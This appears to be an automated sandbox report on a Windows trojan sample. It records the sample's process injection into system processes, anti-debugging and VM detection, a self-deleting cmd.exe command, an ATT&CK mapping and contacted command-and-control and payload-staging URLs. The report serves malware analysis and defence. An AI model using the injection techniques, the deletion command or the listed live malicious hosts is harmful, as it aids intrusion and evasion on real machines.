Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0058417C push dword ptr [esp+20h]; retn 0024h	0_2_005841A9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059A17F push dword ptr [esp+38h]; retn 003Ch	0_2_0059A1AD
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_00588173 push dword ptr [esp+30h]; retn 0034h	0_2_005955C1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Code function: 0_2_0059A115 push dword ptr [esp+34h]; retn 0038h	0_2_0059A121

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Static PE information: section name: .c1 entropy: 7.989192901004846

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Process created: cmd.exe /c del /f/q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" > nul
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Process created: cmd.exe /c del /f/q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" > nul			Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49755

Source: C:\Windows\System32\sihost.exe

Code function: 2_2_00D1C564 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00D1C564

Source: C:\Windows\System32\sihost.exe

File opened / queried: vmmemctl

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Code function: 0_2_0058C008 rdtsc

0_2_0058C008

Source: C:\Windows\System32\sihost.exe	Code function: GetAdaptersInfo,		2_2_00D19D00
Source: C:\Windows\System32\sihost.exe	Code function: GetAdaptersInfo,		2_2_00D542C0

Source: C:\Windows\System32\sihost.exe

Thread delayed: delay time: 570000

Jump to behavior

Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Window / User API: threadDelayed 1568	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Window / User API: threadDelayed 6859	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Window / User API: threadDelayed 7017	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Window / User API: threadDelayed 472	Jump to behavior

Source: C:\Windows\System32\sihost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-35722

Source: C:\Windows\System32\sihost.exe

API coverage: 9.3 %

Source: C:\Windows\System32\sihost.exe TID: 1424	Thread sleep time: -570000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 5780	Thread sleep count: 1568 > 30	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 5780	Thread sleep time: -15680000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 3648	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 2216	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 6136	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 5780	Thread sleep count: 6859 > 30	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe TID: 5780	Thread sleep time: -68590000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 4440	Thread sleep count: 7017 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 4440	Thread sleep time: -70170000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 2196	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 2192	Thread sleep count: 293 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 2192	Thread sleep time: -293000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 2192	Thread sleep count: 472 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe TID: 2192	Thread sleep time: -472000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe	Last function: Thread delayed

Source: C:\Windows\System32\sihost.exe

Code function: 2_2_00D1A660 GetSystemInfo,

2_2_00D1A660

Source: C:\Windows\System32\sihost.exe	Thread delayed: delay time: 570000			Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: sihost.exe, 00000002.00000002.4566270079.000001D63E70D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWu
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CCM_VirtualMachineInfo
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Msvm_VirtualMachineToDisks
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfRawData_VmmsVirtualMachineStats_HyperVVirtualMachineHealthSummary
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfRawData_Counters_HyperVVirtualMachineBusPipes
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32Reg_SMSGuestVirtualMachine
Source: sihost.exe, 00000002.00000002.4566270079.000001D63E70D000.00000004.00000001.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4558141604.000001D26BDAB000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.2642966828.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2451348396.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32Reg_SMSGuestVirtualMachine64
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfFormattedData_VmmsVirtualMachineStats_HyperVVirtualMachineHealthSummary
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CCM_VirtualMachineInfoByWMI
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.2642966828.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfRawData_Counters_HyperVVirtualMachineBus
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CCM_VirtualMachineInfoByRegKey
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfFormattedData_Counters_HyperVVirtualMachineBusProviderPipes
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfFormattedData_Counters_HyperVVirtualMachineBus
Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe, 00000000.00000002.2121889990.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSFT_NetEventVmNetworkAdapter
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfRawData_Counters_HyperVVirtualMachineBusProviderPipes
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PerfFormattedData_Counters_HyperVVirtualMachineBusPipes

Source: C:\Windows\System32\sihost.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Code function: 0_2_0058B74D Start: 0058B75A End: 0058B763

0_2_0058B74D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Code function: 0_2_0058C008 rdtsc

0_2_0058C008

Source: C:\Windows\System32\AppHostRegistrationVerifier.exe

Code function: 12_2_000001D26BF29E68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

12_2_000001D26BF29E68

Source: C:\Windows\System32\sihost.exe

Code function: 2_2_00D444BE LoadLibraryA,GetProcAddress,

2_2_00D444BE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF19228 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		12_2_000001D26BF19228
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Code function: 12_2_000001D26BF29E68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		12_2_000001D26BF29E68

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory allocated: C:\Windows\System32\sihost.exe base: D00000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory allocated: C:\Windows\System32\sihost.exe base: D10000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 3BD00000 protect: page read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26B9A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26B9B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BEC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 680000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 830000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 920000 protect: page read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BF00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4950000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory allocated: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4840000 protect: page read and write	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1D63DC30000 protect: page read and write	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1D63EE60000 protect: page read and write	Jump to behavior

Changes memory attributes in foreign processes to executable or writable

Source: C:\Windows\System32\AppHostRegistrationVerifier.exe

Memory protected: C:\Windows\System32\sihost.exe base: 1D63EE60000 protect: page execute read

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Thread created: C:\Windows\System32\sihost.exe EIP: D00000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Thread created: C:\Windows\System32\AppHostRegistrationVerifier.exe EIP: 6B9A0000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Thread created: C:\Windows\SysWOW64\CertEnrollCtrl.exe EIP: 680000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Thread created: C:\Windows\System32\AppHostRegistrationVerifier.exe EIP: 6B9A0000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Thread created: C:\Windows\SysWOW64\CertEnrollCtrl.exe EIP: 680000	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Thread created: unknown EIP: 3EE60000	Jump to behavior

Hijacks the control flow in another process

Source: C:\Windows\System32\sihost.exe

Memory written: PID: 5804 base: 1D26B9A0000 value: E9

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: D10000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26B9B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 830000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BF00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4950000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63EE61000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: D00000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: D01000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: D10000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: DBE000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: E40000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: D02000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Memory written: C:\Windows\System32\sihost.exe base: 3BD00000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 7FF6BC4D0A20	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26B9A0000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26B9A1000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26B9B0000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BB27000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BC9B000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BC9C000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BEC0000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: B49890	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 680000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 681000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 830000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 831000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 886000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 897000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 89A000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 89B000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 920000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BF00000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26C028000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26C127000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26C128000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\System32\AppHostRegistrationVerifier.exe base: 1D26BEC0000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4950000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4951000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 49F1000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4A19000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4AC6000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4B1A000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4B31000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4B3B000	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Memory written: C:\Windows\SysWOW64\CertEnrollCtrl.exe base: 4840000	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63EE60000	Jump to behavior
Source: C:\Windows\System32\AppHostRegistrationVerifier.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63EE61000	Jump to behavior

Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\System32\AppHostRegistrationVerifier.exe "C:\Windows\system32\AppHostRegistrationVerifier.exe"	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\SysWOW64\autofmt.exe "C:\Windows\SysWOW64\autofmt.exe"	Jump to behavior
Source: C:\Windows\System32\sihost.exe	Process created: C:\Windows\SysWOW64\CertEnrollCtrl.exe "C:\Windows\SysWOW64\CertEnrollCtrl.exe"	Jump to behavior

Source: sihost.exe, 00000002.00000000.2096550904.000001D63C371000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000002.00000002.4565806161.000001D63C371000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: sihost.exe, 00000002.00000000.2096550904.000001D63C371000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000002.00000002.4565806161.000001D63C371000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: sihost.exe, 00000002.00000000.2096550904.000001D63C371000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000002.00000002.4565806161.000001D63C371000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: sihost.exe, 00000002.00000000.2096550904.000001D63C371000.00000002.00000001.00040000.00000000.sdmp, sihost.exe, 00000002.00000002.4565806161.000001D63C371000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Code function: 0_2_004E708A cpuid

0_2_004E708A

Source: C:\Windows\SysWOW64\CertEnrollCtrl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D17070 socket,bind,		2_2_00D17070
Source: C:\Windows\System32\sihost.exe	Code function: 2_2_00D13D50 bind,		2_2_00D13D50

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	31 Virtualization/Sandbox Evasion	OS Credential Dumping	31 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	612 Process Injection	1 Access Token Manipulation	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	612 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	68%	ReversingLabs	Win32.Trojan.Generic
SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	100%	Avira	TR/Drop.Injector.rhafu
SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gfak.oss-cn-hongkong.aliyuncs.com	47.79.64.164	true	false	high
cq-aliyun.oss-cn-hongkong.aliyuncs.com	47.56.33.29	true	false	high
site01.skfcafob.com	23.248.236.58	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/64/pk20.txt	false	high
http://8.212.47.137:8379/	true	unknown
http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/32/pk20.txt	false	high
http://gfak.oss-cn-hongkong.aliyuncs.com/cccccc.txt	false	high
